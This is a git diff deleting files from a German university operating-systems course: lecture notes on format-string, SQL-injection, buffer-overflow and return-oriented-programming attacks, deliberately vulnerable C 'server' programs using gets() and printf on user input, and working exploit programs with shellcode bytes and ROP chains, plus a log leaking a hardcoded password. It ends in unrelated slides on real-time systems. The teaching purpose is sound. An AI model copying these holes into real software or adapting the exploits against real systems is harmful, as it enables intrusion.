-  return 0;
-}
diff --git a/20220516/test.txt b/20220516/test.txt
deleted file mode 100644
index 14220de2cc6ba7ad7258bcab5c4c37820ca3b59c..0000000000000000000000000000000000000000
Binary files a/20220516/test.txt and /dev/null differ
diff --git a/20220523/bs-20220523.txt b/20220523/bs-20220523.txt
deleted file mode 100644
index 764104b4b265302f7835ed226caf82142cd942bf..0000000000000000000000000000000000000000
--- a/20220523/bs-20220523.txt
+++ /dev/null
@@ -1,321 +0,0 @@
-Exploits, 10.05.2019
-~~~~~~~~~~~~~~~~~~~~
-Vorab:
-
-  Dies ist keine Einladung, anderer Leute Systeme anzugreifen.
-  Derartige Handlungen sind Straftaten.
-
-  Ich erzähle Ihnen dies, damit Sie wissen,
-  wie Sie sich gegen derartige Angriffe verteidigen können.
-
-  Um es gleich vorwegzunehmen:
-  Gewöhnen Sie sich von vorneherein an,
-  sauber und ordentlich zu programmieren.
-
-Anleitungen für Exploits:
-http://www.computersecuritystudent.com/SECURITY_TOOLS/BUFFER_OVERFLOW/WINDOWS_APPS/lesson1/index.html
-http://www.thesprawl.org/research/exploit-exercises-protostar-stack/
-
-Literatur:
-Jon Erickson: Hacking: The Art of Exploitation.
-No Starch Press, 2003. ISBN: 1-59327-007-0
-
-Anleitung für den GNU-Debugger (gdb):
-http://beej.us/guide/bggdb/
-
-Formatstring-Angriff:
-
-  printf (user_string) für Exploit nutzen: %016llx
-  Server, der Passwort auf dem Stack speichert --> server-0.c
-
-  $ ./server-0
-  Your name, please: %016llx %016llx %016llx %016llx %016llx %016llx %016llx %016llx
-  Hello, 00000000004007c7 00007fdb2ced2df0 00000000004007c7 00007fdb2d0f3007
-         20786c6c36313025 6373316870216948 00007fdb2cbd0068 0000007265746570!
-                          ~~~~~~~~~~~~~~~~             ~~~~
-  Your password, please:
-
-SQL Injection: http://xkcd.com/327/
-
-  insert into students values ('Robert', 'Lenhard', '3b');
-
-  insert into students values ('Robert'); drop table students; --', 'Lenhard', '3b');
-
-Lösung des Problems: Escape-Sequenzen, Prepared Statements.
-Damit ist es möglich, auch ungewöhnliche Zeichen in Strings aufzunehmen.
-
-Vortrag zum Thema Namensvalidierung: https://media.ccc.de/v/rc3-channels-2020-77-your-name-is-invalid-
-
-Noch blöder: Java-Browser-Applet enthält Passwörter im Klartext:
-http://heise.de/-2812713
-
-Buffer Overflow für Exploit nutzen: server-[123].c, exploit-*
-
-Warum Absturz? Rücksprungadresse wird überschrieben. Blick auf den Stack.
-Funktionsaufruf: Register setzen, Funktion anspringen.
-Exploit: Rücksprungadresse gezielt überschreiben.
-Früher möglich: Programm in den Stack schreiben, dorthin springen.
-Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR)
-Return Oriented Programming erforderlich
-genauer: return-to-libc; noch genauer: return-to-plt
-Gezielt Winz-Funktionen anspringen, um Register zu setzen,
-danach Programm- und Bibliotheksfunktionen anspringen.
-
-Warum stürzt server-1.c ab, wenn der Name zu lang ist? 23.05.2022, 13:05:49
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Quelltext: server-1.c
-
-  #include <stdio.h>
-
-  int main (void)
-  {
-    char buffer[20];
-    printf ("Your name, please: ");
-    gets (buffer);
-    printf ("Hello, %s!\n", buffer);
-    return 0;
-  }
-
-Eingegebener Name: "Prof. Dr. rer. nat. Dipl.-Phys. Peter Gerwinski"
-Puffer-Länge: 20           bis hierhin ^               steht über ^
-
-Debugger, unmittelbar nach dem Absturz:
-
-     ┌──server-1.c────────────────────────────────────────────────────────────────────────────┐
-     │4       {                                                                               │
-  B+ │5         char buffer[20];                                                              │
-     │6         printf ("Your name, please: ");                                               │
-     │7         gets (buffer);                                                                │
-     │8         printf ("Hello, %s!\n", buffer);                                              │
-    >│9         return 0;                                                                     │
-     │10      }                                                                               │
-     │11                                                                                      │
-     │12                                                                                      │
-     │13                                                                                      │
-     │14                                                                                      │
-     │15                                                                                      │
-     │16                                                                                      │
-     ┌────────────────────────────────────────────────────────────────────────────────────────┐
-     │0x555555555166 <main+33>                callq  0x555555555040 <gets@plt>                │
-     │0x55555555516b <main+38>                mov    %rbx,%rsi                                │
-     │0x55555555516e <main+41>                lea    0xea3(%rip),%rdi        # 0x555555556018 │
-     │0x555555555175 <main+48>                mov    $0x0,%eax                                │
-     │0x55555555517a <main+53>                callq  0x555555555030 <printf@plt>              │
-     │0x55555555517f <main+58>                mov    $0x0,%eax                                │
-     │0x555555555184 <main+63>                add    $0x20,%rsp                               │
-     │0x555555555188 <main+67>                pop    %rbx                                     │
-    >│0x555555555189 <main+68>                retq                                            │
-     │0x55555555518a                          nopw   0x0(%rax,%rax,1)                         │
-     │0x555555555190 <__libc_csu_init>        push   %r15                                     │
-     │0x555555555192 <__libc_csu_init+2>      mov    %rdx,%r15                                │
-     │0x555555555195 <__libc_csu_init+5>      push   %r14                                     │
-     └────────────────────────────────────────────────────────────────────────────────────────┘
-  native process 27862 In: main                                       L9    PC: 0x555555555189 
-  eflags         0x202               [ IF ]
-  cs             0x33                51
-  ss             0x2b                43
-  ds             0x0                 0
-  es             0x0                 0
-  fs             0x0                 0  
-  gs             0x0                 0
-  (gdb) x/2 0x7fffffffdf78
-  0x7fffffffdf78: 0x6e697772      0x00696b73
-  (gdb) nexti
-
-  Program received signal SIGSEGV, Segmentation fault.
-  0x0000555555555189 in main () at server-1.c:9
-  (gdb)                                            
-
-Nach dem Durchlauf des Programms soll das Betriebssystem wieder übernehmen.
-Hierfür springt das Programm an die Speicherzelle Nr. 00696b73 6e697772 .
-
-00696b73 6e697772 in ASCII übersetzen:
-   i k s  n i w r
-
-Dies sind die letzten Buchstaben mit Ende-Zeichen des eingegebenen Strings.
-
---> Das Programm springt an eine Stelle im Speicher, die ihm nicht gehört.
-
-Diese Stelle ist aber nicht zufällig, sondern hängt von dem eingegebenen
-String ab.
-
-exploit-1.c:
-
-  #include <unistd.h>
-  #include <stdint.h>
-
-  int main (int argc, char **argv)
-  {
-    uint64_t my_program_address = 0x7fffffffdfa0;
-    for (int i = 0; i < 0x28; i++)
-      write (1, "a", 1);                   // zum Auffüllen, um die Rücksprung-Adresse
-    write (1, &my_program_address, 8);     // überschreiben zu können
-    write (1, "I 0WN U!", 8);
-    for (int i = 0; i < 24; i++)
-      write (1, " ", 1);
-    write (1, "\x48\x89\xe7", 3);          // mov    %rsp,%rdi      hierhin erfolgt der
-    write (1, "\xb8\x00\x00\x00\x00", 5);  // mov    $0x0,%eax      "Rück-"Sprung
-    write (1, "\xe8\x26\xfe\xff\xff", 5);  // callq  0x4003e0 <printf@plt>
-    write (1, "\xeb\xfe", 2);              // while (1);
-    write (1, "\n", 1);
-    return 0;
-  }
-
-Ich übergebe als "Namen" einen String, der ausführbare Programm-Fragmente
-enthält (hier: printf "I 0WN U!") und überschreibe die Rücksprungadresse
-derart, daß dieses Programm-Fragment anschließend ausgeführt werden soll.
-
-     ┌──server-1.c────────────────────────────────────────────────────────────────────────────┐
-     │                                                                                        │
-     │                                                                                        │
-     │                                                                                        │
-     │                                                                                        │
-     │                                                                                        │
-     │                                                                                        │
-     │                    [ No Source Available ]                                             │
-     │                                                                                        │
-     │                                                                                        │
-     │                                                                                        │
-     │                                                                                        │
-     │                                                                                        │
-     │                                                                                        │
-     ┌────────────────────────────────────────────────────────────────────────────────────────┐
-    >│0x7fffffffdfa0  mov    %rsp,%rdi                                                        │
-     │0x7fffffffdfa3  mov    $0x0,%eax                                                        │
-     │0x7fffffffdfa8  callq  0x7fffffffddd3                                                   │
-     │0x7fffffffdfad  jmp    0x7fffffffdfad                                                   │
-     │0x7fffffffdfaf  add    %ah,0x50(%rax)                                                   │
-     │0x7fffffffdfb2  push   %rbp                                                             │
-     │0x7fffffffdfb3  push   %rbp                                                             │
-     │0x7fffffffdfb4  push   %rbp                                                             │
-     │0x7fffffffdfb5  push   %rbp                                                             │
-     │0x7fffffffdfb6  add    %al,(%rax)                                                       │
-     │0x7fffffffdfb8  push   %rax                                                             │
-     │0x7fffffffdfb9  loopne 0x7fffffffdfba                                                   │
-     │0x7fffffffdfbb  (bad)                                                                   │
-     └────────────────────────────────────────────────────────────────────────────────────────┘
-  native process 30875 In:                                            L??   PC: 0x7fffffffdfa0 
-  fs             0x0                 0
-  gs             0x0                 0
-  (gdb) x/2 0x7fffffffdf78
-  0x7fffffffdf78: 0xffffdfa0      0x00007fff
-  (gdb) x/2 0x00007fffffffdfa0
-  0x7fffffffdfa0: 0xb8e78948      0x00000000
-  (gdb) disassemble 0x00007fffffffdfa0
-  No function contains specified address.
-  (gdb) x/16b 0x00007fffffffdfa0
-  0x7fffffffdfa0: 0x48    0x89    0xe7    0xb8    0x00    0x00    0x00    0x00
-  0x7fffffffdfa8: 0xe8    0x26    0xfe    0xff    0xff    0xeb    0xfe    0x00
-  (gdb) nexti
-  0x00007fffffffdfa0 in ?? ()
-  (gdb) nexti
-
-  Program received signal SIGSEGV, Segmentation fault.
-  0x00007fffffffdfa0 in ?? ()
-  (gdb) 
-
-Ergebnis: Der von uns eingeschleuste Code wird tatsächlich angesprungen,
-dann allerdings nicht ausgeführt. Stattdessen: Speicherzugriffsfehler.
-
-Erklärung: Der Code befindet sich auf dem Stack.
-Der Stack ist aber von der Hardware als nicht-ausführbar markiert.
-Beim Versuch, diesen Code auszuführen, löst der Prozessor eine
-Exception aus.
-
-(Früher funktionierten derartige Exploits.)
-
-Auch diese Schutzfunktion kann man überwinden:
-Return-Oriented Programming, 23.05.2022, 13:32:33
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-server-2.c:
-
-  #include <stdio.h>
-  #include <stdlib.h>
-
-  void stuff (void)
-  {
-    asm ("mov $0, %eax");
-    asm ("add $0x28, %rsp");
-    asm ("ret");
-    asm ("nop");
-    asm ("nop");
-    asm ("nop");
-    asm ("mov %rsp, %rdi");
-    asm ("ret");
-    asm ("nop");
-    asm ("nop");
-    asm ("nop");
-    asm ("add $0x20, %rdi");
-    asm ("ret");
-    asm ("nop");
-    asm ("nop");
-    asm ("nop");
-    system ("clear");
-    exit (0);
-  }
-
-  int main (void)
-  {
-    char buffer[20];
-    printf ("Your name, please: ");
-    gets (buffer);
-    printf ("Hello, %s!\n", buffer);
-    return 0;
-  }
-
-Das Angreifer-Programm sorgt dafür, der Befehl "mov %rsp, %rdi"
-ausgeführt wird. Dies geschieht, indem es die Rücksprungadresse
-darauf verweisen läßt.
-
-  #include <stdlib.h>
-  #include <stdint.h>
-  #include <unistd.h>
-
-  #define OVERFLOW 40
-
-  int main (int argc, char **argv)
-  {
-    uint64_t mov_rsp_rdi = 0x555555555176;
-    uint64_t add_offset_to_rdi = 0x55555555517d;
-    uint64_t dummy = 0;
-    uint64_t printf_address = 0x555555555040;
-    uint64_t exit_address = 0x555555555060;
-    uint8_t overflow[OVERFLOW] = "loser";
-    uint8_t payload[] = "I 0WN U!!1!                             "
-                        "                                             ";
-    write (1, overflow, sizeof (overflow));
-    write (1, &mov_rsp_rdi, 8);
-    write (1, &add_offset_to_rdi, 8);
-    write (1, &printf_address, 8);
-    write (1, &exit_address, 8);
-    write (1, &dummy, 8);
-    write (1, payload, sizeof (payload));
-    write (1, "\n", 1);
-    return 0;
-  }
-
-Mit dem nächsten Rücksprung führt es dann "add $0x20, %rdi" aus.
-Danach zeigt das %rdi-Register auf den String "I 0WN U!!1!".
-
-Mit dem nächsten Rücksprung rufen wir die Funktion printf()
-für diesen String auf. (Hier ist wichtig, daß sich im %eax-Register
-bereits eine Null befindet. Diese kommt noch von dem "return 0;".)
-
-Nach erfolgtem printf() ruft der nächste Rücksprung die Funktion
-exit() auf, um das Programm kontrolliert zu beenden. Dabei wird
-auch die Datei stdin geschlossen und der String "I 0WN U!!1"
-ausgegeben.
-
-Exploits: aktuelle Sicherheitslücke, 28.12.2016, 13:46:05
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Lücke in PHPMailer erlaubt die Ausführung fremden Codes
-https://heise.de/-3582072
-
-Exploits, 29.06.2020, 15:38:10
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Früher möglich: Programm in den Stack schreiben, dorthin springen.
-Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR)
-Return Oriented Programming erforderlich
-genauer: return-to-libc; noch genauer: return-to-plt
-Gezielt Winz-Funktionen anspringen, um Register zu setzen,
-danach Programm- und Bibliotheksfunktionen anspringen.
diff --git a/20220523/exploit-1.c b/20220523/exploit-1.c
deleted file mode 100644
index f967dc10d848a9bcce65a0a23af4642a7ef6ae0f..0000000000000000000000000000000000000000
--- a/20220523/exploit-1.c
+++ /dev/null
@@ -1,19 +0,0 @@
-#include <unistd.h>
-#include <stdint.h>
-
-int main (int argc, char **argv)
-{
-  uint64_t my_program_address = 0x7fffffffdfa0;
-  for (int i = 0; i < 0x28; i++)
-    write (1, "a", 1);                   // zum Auffüllen, um die Rücksprung-Adresse
-  write (1, &my_program_address, 8);     // überschreiben zu können
-  write (1, "I 0WN U!", 8);
-  for (int i = 0; i < 24; i++)
-    write (1, " ", 1);
-  write (1, "\x48\x89\xe7", 3);          // mov    %rsp,%rdi      hierhin erfolgt der
-  write (1, "\xb8\x00\x00\x00\x00", 5);  // mov    $0x0,%eax      "Rück-"Sprung
-  write (1, "\xe8\x26\xfe\xff\xff", 5);  // callq  0x4003e0 <printf@plt>
-  write (1, "\xeb\xfe", 2);              // while (1);
-  write (1, "\n", 1);
-  return 0;
-}
diff --git a/20220523/exploit-1.txt b/20220523/exploit-1.txt
deleted file mode 100644
index 44707bfa2ee99ddd58e1c8ee67c8667225f25323..0000000000000000000000000000000000000000
Binary files a/20220523/exploit-1.txt and /dev/null differ
diff --git a/20220523/exploit-2.c b/20220523/exploit-2.c
deleted file mode 100644
index 3010e84b21f554807ba1b73d8f35a57b3587deff..0000000000000000000000000000000000000000
--- a/20220523/exploit-2.c
+++ /dev/null
@@ -1,26 +0,0 @@
-#include <stdlib.h>
-#include <stdint.h>
-#include <unistd.h>
-
-#define OVERFLOW 40
-
-int main (int argc, char **argv)
-{
-  uint64_t mov_rsp_rdi = 0x555555555176;
-  uint64_t add_offset_to_rdi = 0x55555555517d;
-  uint64_t dummy = 0;
-  uint64_t printf_address = 0x555555555040;
-  uint64_t exit_address = 0x555555555060;
-  uint8_t overflow[OVERFLOW] = "loser";
-  uint8_t payload[] = "I 0WN U!!1!                             "
-                      "                                             ";
-  write (1, overflow, sizeof (overflow));
-  write (1, &mov_rsp_rdi, 8);
-  write (1, &add_offset_to_rdi, 8);
-  write (1, &printf_address, 8);
-  write (1, &exit_address, 8);
-  write (1, &dummy, 8);
-  write (1, payload, sizeof (payload));
-  write (1, "\n", 1);
-  return 0;
-}
diff --git a/20220523/exploit-2.txt b/20220523/exploit-2.txt
deleted file mode 100644
index ea10070d643247bec138f8732d1711dd19cb34dd..0000000000000000000000000000000000000000
Binary files a/20220523/exploit-2.txt and /dev/null differ
diff --git a/20220523/exploit-3.c b/20220523/exploit-3.c
deleted file mode 100644
index ae1903af3ddf12c812a784223c700d22904600c1..0000000000000000000000000000000000000000
--- a/20220523/exploit-3.c
+++ /dev/null
@@ -1,25 +0,0 @@
-#include <stdlib.h>
-#include <stdint.h>
-#include <unistd.h>
-
-#define OVERFLOW 40
-
-int main (int argc, char **argv)
-{
-  uint64_t mov_rsp_rdi = 0x555555555176;
-  uint64_t add_offset_to_rdi = 0x55555555517d;
-  uint64_t dummy = 0;
-  uint64_t system_address = 0x555555555030;  // 0x7ffff7e109c0;
-  uint64_t exit_address = 0x555555555060;  // 0x7ffff7e04ea0;
-  uint8_t overflow[OVERFLOW] = "loser";
-  uint8_t payload[] = "gimp ../common/os-layers.xcf.gz";
-  write (1, overflow, sizeof (overflow));
-  write (1, &mov_rsp_rdi, 8);
-  write (1, &add_offset_to_rdi, 8);
-  write (1, &system_address, 8);
-  write (1, &exit_address, 8);
-  write (1, &dummy, 8);
-  write (1, payload, sizeof (payload));
-  write (1, "\n", 1);
-  return 0;
-}
diff --git a/20220523/exploit-3.txt b/20220523/exploit-3.txt
deleted file mode 100644
index 93827d33fe1916d2e75430c55108af67c634aecb..0000000000000000000000000000000000000000
Binary files a/20220523/exploit-3.txt and /dev/null differ
diff --git a/20220523/hello-01.c b/20220523/hello-01.c
deleted file mode 100644
index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000
--- a/20220523/hello-01.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Hello, world!\n");
-  return 0;
-}
diff --git a/20220523/hello-02.c b/20220523/hello-02.c
deleted file mode 100644
index d3fbcd3da43279bbdf37fac1e593b8281b85cafb..0000000000000000000000000000000000000000
--- a/20220523/hello-02.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Hello, world!                    ");
-  return 0;
-}
diff --git a/20220523/printf-01.c b/20220523/printf-01.c
deleted file mode 100644
index ae37ad290203e4e490e3e2fac5a8080f7dfa0364..0000000000000000000000000000000000000000
--- a/20220523/printf-01.c
+++ /dev/null
@@ -1,9 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Die Antwort lautet: ");
-  printf (42);
-  printf ("\n");
-  return 0;
-}
diff --git a/20220523/printf-02.c b/20220523/printf-02.c
deleted file mode 100644
index 8df53c4c95e8c3ae959324a1b7fa4f058aafc7ef..0000000000000000000000000000000000000000
--- a/20220523/printf-02.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Die Antwort lautet: %d\n", 42);
-  return 0;
-}
diff --git a/20220523/printf-03.c b/20220523/printf-03.c
deleted file mode 100644
index 7bf16e085e0b90e911579d1257c00efbfa50f6ea..0000000000000000000000000000000000000000
--- a/20220523/printf-03.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Der Name lautet: %s\n", "Peter");
-  return 0;
-}
diff --git a/20220523/printf-04.c b/20220523/printf-04.c
deleted file mode 100644
index 204f0dc1b47fdca112fd96a3047312c2cee6994f..0000000000000000000000000000000000000000
--- a/20220523/printf-04.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Der Name lautet: %s\n", "Pet%dr");
-  return 0;
-}
diff --git a/20220523/printf-05.c b/20220523/printf-05.c
deleted file mode 100644
index 4bdc410d48531d2691b3dc6dabdf0ecb84389b8f..0000000000000000000000000000000000000000
--- a/20220523/printf-05.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Der Name lautet: Pet%dr\n");
-  return 0;
-}
diff --git a/20220523/server-0.c b/20220523/server-0.c
deleted file mode 100644
index 96f8b4df4c5a467aa5d2ec424434a6a33a6f6127..0000000000000000000000000000000000000000
--- a/20220523/server-0.c
+++ /dev/null
@@ -1,24 +0,0 @@
-#include <stdio.h>
-#include <string.h>
-#include <unistd.h>
-
-int main (void)
-{
-  char name_buffer[100];
-  char *pass_buffer;
-  char username[] = "peter";
-  char password[] = "Hi!ph1sch";
-
-  printf ("Your name, please: ");
-  gets (name_buffer);
-  printf ("Hello, ");
-  printf (name_buffer);
-  printf ("!\n");
-
-  pass_buffer = getpass ("Your password, please: ");
-  if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0)
-    printf ("You have access.\n");
-  else
-    printf ("Login incorrect.\n");
-  return 0;
-}
diff --git a/20220523/server-0.txt b/20220523/server-0.txt
deleted file mode 100644
index 1b18335a3b95152650dad9f3cd6625fbac6e4bdd..0000000000000000000000000000000000000000
--- a/20220523/server-0.txt
+++ /dev/null
@@ -1,53 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Der Name lautet: Pet%dr\n");
-  return 0;
-}
-cassini/home/peter/bo/2022ss/bs/20220523> gcc -Wall -O printf-05.c -o printf-05
-printf-05.c: In function ‘main’:
-printf-05.c:5:33: warning: format ‘%d’ expects a matching ‘int’ argument [-Wformat=]
-   printf ("Der Name lautet: Pet%dr\n");
-                                ~^
-cassini/home/peter/bo/2022ss/bs/20220523> ./printf-05
-Der Name lautet: Pet668572360r
-cassini/home/peter/bo/2022ss/bs/20220523> cat server-0.c
-#include <stdio.h>
-#include <string.h>
-#include <unistd.h>
-
-int main (void)
-{
-  char name_buffer[100];
-  char *pass_buffer;
-  char username[] = "peter";
-  char password[] = "Hi!ph1sch";
-
-  printf ("Your name, please: ");
-  gets (name_buffer);
-  printf ("Hello, ");
-  printf (name_buffer);
-  printf ("!\n");
-
-  pass_buffer = getpass ("Your password, please: ");
-  if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0)
-    printf ("You have access.\n");
-  else
-    printf ("Login incorrect.\n");
-  return 0;
-}
-cassini/home/peter/bo/2022ss/bs/20220523> ./server-0
-Your name, please: Pet%dr
-Hello, Pet1819043144r!
-Your password, please:
-Login incorrect.
-cassini/home/peter/bo/2022ss/bs/20220523> ./server-0
-Your name, please: %016llx %016llx %016llx %016llx %016llx %016llx %016llx %016llx
-Hello, 000000006c6c6548 00007fdc518588c0 0000000000000000 00007fdc5185d500
-       0000000000000000 6373316870216948 0072657465700068 20786c6c36313025!
-Your password, please:
-
-000000006c6c6548 = "Hell"
-6373316870216948 = "Hi!ph1sc"
-0072657465700068 = "h"
diff --git a/20220523/server-0a.c b/20220523/server-0a.c
deleted file mode 100644
index 6c6f22f5d9ae1c0b03dcd5d6d0ba8805d9dc3a64..0000000000000000000000000000000000000000
--- a/20220523/server-0a.c
+++ /dev/null
@@ -1,22 +0,0 @@
-#include <stdio.h>
-#include <string.h>
-#include <unistd.h>
-
-int main (void)
-{
-  char name_buffer[100];
-  char *pass_buffer;
-  char username[] = "peter";
-  char password[] = "Hi!ph1sch";
-
-  printf ("Your name, please: ");
-  gets (name_buffer);
-  printf ("Hello, %s!\n", name_buffer);
-
-  pass_buffer = getpass ("Your password, please: ");
-  if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0)
-    printf ("You have access.\n");
-  else
-    printf ("Login incorrect.\n");
-  return 0;
-}
diff --git a/20220523/server-1.c b/20220523/server-1.c
deleted file mode 100644
index 68f9eb57f5e277413a0206ed9af175033e9cda9d..0000000000000000000000000000000000000000
--- a/20220523/server-1.c
+++ /dev/null
@@ -1,10 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char buffer[20];
-  printf ("Your name, please: ");
-  gets (buffer);
-  printf ("Hello, %s!\n", buffer);
-  return 0;
-}
diff --git a/20220523/server-2.c b/20220523/server-2.c
deleted file mode 100644
index 4aac725ae5c30412f0952a770d1c9d9f6c1f6895..0000000000000000000000000000000000000000
--- a/20220523/server-2.c
+++ /dev/null
@@ -1,33 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-
-void stuff (void)
-{
-  asm ("mov $0, %eax");
-  asm ("add $0x28, %rsp");
-  asm ("ret");
-  asm ("nop");
-  asm ("nop");
-  asm ("nop");
-  asm ("mov %rsp, %rdi");
-  asm ("ret");
-  asm ("nop");
-  asm ("nop");
-  asm ("nop");
-  asm ("add $0x20, %rdi");
-  asm ("ret");
-  asm ("nop");
-  asm ("nop");
-  asm ("nop");
-  system ("clear");
-  exit (0);
-}
-
-int main (void)
-{
-  char buffer[20];
-  printf ("Your name, please: ");
-  gets (buffer);
-  printf ("Hello, %s!\n", buffer);
-  return 0;
-}
diff --git a/20220523/server-3.c b/20220523/server-3.c
deleted file mode 100644
index 11c3a7ff2bf4e1f27accebd7d9caddf6d90dfb66..0000000000000000000000000000000000000000
--- a/20220523/server-3.c
+++ /dev/null
@@ -1,33 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-
-void stuff (void)
-{
-  asm ("mov $0, %eax");
-  asm ("add $0x28, %rsp");
-  asm ("ret");
-  asm ("nop");
-  asm ("nop");
-  asm ("nop");
-  asm ("mov %rsp, %rdi");
-  asm ("ret");
-  asm ("nop");
-  asm ("nop");
-  asm ("nop");
-  asm ("add $0x20, %rdi");
-  asm ("ret");
-  asm ("nop");
-  asm ("nop");
-  asm ("nop");
-  system ("clear");
-  exit (0);
-}
-
-int main (void)
-{
-  char buffer[20];
-  printf ("Your name, please: ");
-  fgets (buffer, 20, stdin);
-  printf ("Hello, %s!\n", buffer);
-  return 0;
-}
diff --git a/20220530/bs-20220530-fig1.tex b/20220530/bs-20220530-fig1.tex
deleted file mode 100644
index 0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0..0000000000000000000000000000000000000000
--- a/20220530/bs-20220530-fig1.tex
+++ /dev/null
@@ -1,11 +0,0 @@
-\documentclass{article}
-\input tmp.inputs
-\pagestyle{empty}
-\begin{document}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    
-\end{document}
diff --git a/20220530/bs-20220530-fig2.tex b/20220530/bs-20220530-fig2.tex
deleted file mode 100644
index 0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0..0000000000000000000000000000000000000000
--- a/20220530/bs-20220530-fig2.tex
+++ /dev/null
@@ -1,11 +0,0 @@
-\documentclass{article}
-\input tmp.inputs
-\pagestyle{empty}
-\begin{document}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    
-\end{document}
diff --git a/20220530/bs-20220530.pdf b/20220530/bs-20220530.pdf
deleted file mode 100644
index 34b9da39cba00048dbfacf76cec5c0facfe97c4e..0000000000000000000000000000000000000000
Binary files a/20220530/bs-20220530.pdf and /dev/null differ
diff --git a/20220530/bs-20220530.tex b/20220530/bs-20220530.tex
deleted file mode 100644
index 1dd711a4904781304ff3d1fd5aee4f50fc213217..0000000000000000000000000000000000000000
--- a/20220530/bs-20220530.tex
+++ /dev/null
@@ -1,1506 +0,0 @@
-% bs-20220530.pdf - Lecture Slides on Operating Systems
-% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022  Peter Gerwinski
-%
-% This document is free software: you can redistribute it and/or
-% modify it either under the terms of the Creative Commons
-% Attribution-ShareAlike 3.0 License, or under the terms of the
-% GNU General Public License as published by the Free Software
-% Foundation, either version 3 of the License, or (at your option)
-% any later version.
-%
-% This document is distributed in the hope that it will be useful,
-% but WITHOUT ANY WARRANTY; without even the implied warranty of
-% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-% GNU General Public License for more details.
-%
-% You should have received a copy of the GNU General Public License
-% along with this document.  If not, see <http://www.gnu.org/licenses/>.
-%
-% You should have received a copy of the Creative Commons
-% Attribution-ShareAlike 3.0 Unported License along with this
-% document.  If not, see <http://creativecommons.org/licenses/>.
-
-\documentclass[10pt,t]{beamer}
-
-\usepackage{pgslides}
-\usepackage{rotating}
-\usepackage{pdftricks}
-\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx}
-\usepackage{eurosym}
-\usepackage{tikz}
-
-\begin{psinputs}
-  \usepackage[latin1]{inputenc}
-  \usepackage[german]{babel}
-  \usepackage[T1]{fontenc}
-  \usepackage{helvet}
-  \renewcommand*\familydefault{\sfdefault}
-  \usepackage{pstricks}
-  \psset{unit=1cm}
-\end{psinputs}
-
-\title{Treiberentwicklung,\\[\medskipamount]Echtzeit- und Betriebssysteme}
-\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{30.\ Mai 2022}
-
-\begin{document}
-
-\newlength{\normalpdfpageheight}
-\setlength{\normalpdfpageheight}{\pdfpageheight}
-
-\maketitleframe
-
-\setcounter{section}{3}
-\section{Echtzeit}
-\subsection{Was ist Echtzeit?}
-
-\begin{frame}
-
-  \showsection
-  \vspace{-\smallskipamount}
-  \showsubsection
-
-  \begin{itemize}
-    \item
-      Animation in Echtzeit:\\
-      schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung
-    \item
-      Fantasy-Rollenspiel in Echtzeit:\\
-      Der Zeitverlauf der Spielwelt entspricht dem der realen Welt.
-    \item
-      Datenverarbeitung in Echtzeit:\\
-      Die Daten werden so schnell verarbeitet, wie sie anfallen.
-    \item
-      speziell: Echtzeit-Steuerung von Maschinen:\\
-      Die Berechnung kann mit den physikalischen Vorgängen schritthalten.
-    \smallskip
-    \arrowitem
-      "`Schnell genug."'
-  \end{itemize}
-  
-\end{frame}
-
-\begin{frame}
-
-  \showsubsection
-
-  "`Schnell genug."' -- "`Und wenn nicht?"'
-
-  \begin{itemize}
-    \item
-      "`Ganz schlecht."' \textarrow\ \newterm{harte Echtzeit}\\[2pt]
-    rechtzeitiges Ergebnis funktionsentscheidend
-
-    \smallskip
-
-    \item
-      "`Unschön."' \textarrow\ \newterm{weiche Echtzeit}\\[2pt]
-      verspätetes Ergebnis qualitätsmindernd
-      \begin{itemize}
-        \baselineskip14pt\par
-        \item
-          verwenden und Verzögerung in Kauf nehmen
-        \item
-          verwerfen und Ausfall in Kauf nehmen
-      \end{itemize}
-
-    \smallskip
-
-    \item
